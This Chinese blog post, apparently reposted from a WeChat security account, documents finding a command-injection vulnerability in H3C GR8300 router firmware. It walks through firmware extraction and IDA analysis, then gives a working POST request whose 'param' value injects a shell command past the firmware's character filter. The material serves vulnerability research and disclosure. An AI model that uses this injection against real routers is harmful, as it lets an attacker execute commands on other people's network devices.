【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘

admin 2024年2月10日12:45:41评论92 views字数 1295阅读4分19秒阅读模式

产品信

  • 厂商网站信息:https://www.h3c.com/
  • 固件下载地址:https://www.h3c.com/cn/d_202212/1748085_30005_0.htm

进入H3C GR8300路由器官方固件网页,下载最新MiniGR1B0V100R015固件版本:

【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘

漏洞分析

洞概述:H3C GR8300 固件版本小于等于MiniGR1B0V100R015时,在DelL2tpLNSList函数中存在命令注入漏洞。该漏洞允许攻击者通过“param”参数执行任意命令。

使用binwalk工具提取固件文件系统:

binwalk -Me --run-as=root MiniGR1B0V100R015.bin  

【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘

进入固件文件夹,使用grep工具搜索函数所在文件,发现在webs文件中:

grep -rl DelL2tpLNSList

【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘

使用IDA逆向工具打开webs文件,Alt + t 键搜索DelL2tpLNSList字符串找到函数地址,该地址处于rodata:100EA148只读数据中,可以看到这里有实现各种功能的参数:

【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘

跟入函数所在data:101137F8地址,看到被sub_10069270函数调用:

【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘

跟入sub_10069270函数,按F5键转为伪代码,看到了本次漏洞所在的代码块:

【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘

数据通过前端“param”参数传入并存储在v7变量中,通过sub_100104E8和sub_100695A4函数判断,且被限制为8个字节:

【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘

进入sub_100695A4函数,该函数是用于对传入参数进行判断是否有 | & ` � (默认十六进制按R键转字符串)危险字符:

【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘

v10和v11变量经过以上判断后进入snprintf()方法进行格式化后存入v15,最后v15传到system()方法中执行命令。

【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘

漏洞利用

通过qemu或FirmAE等工具启动固件模拟:

【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘

使用以下POC进行攻击,命令通过大量Fuzzing绕过防护构造出:

POST /goform/aspForm HTTP/1.1Host: ip:portUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeContent-Length: 67
CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp&param=1;$(ls>/ww w/1)  #;

使用BurpSuite工具发送POC,看到漏洞利用效果,成功执行ls命令。

【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘

原文始发于微信公众号(ZackSecurity):【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月10日12:45:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【IoT安全】H3C新华三路由器命令执行0day漏洞挖掘https://cn-sec.com/archives/2486502.html

发表评论

匿名网友 填写信息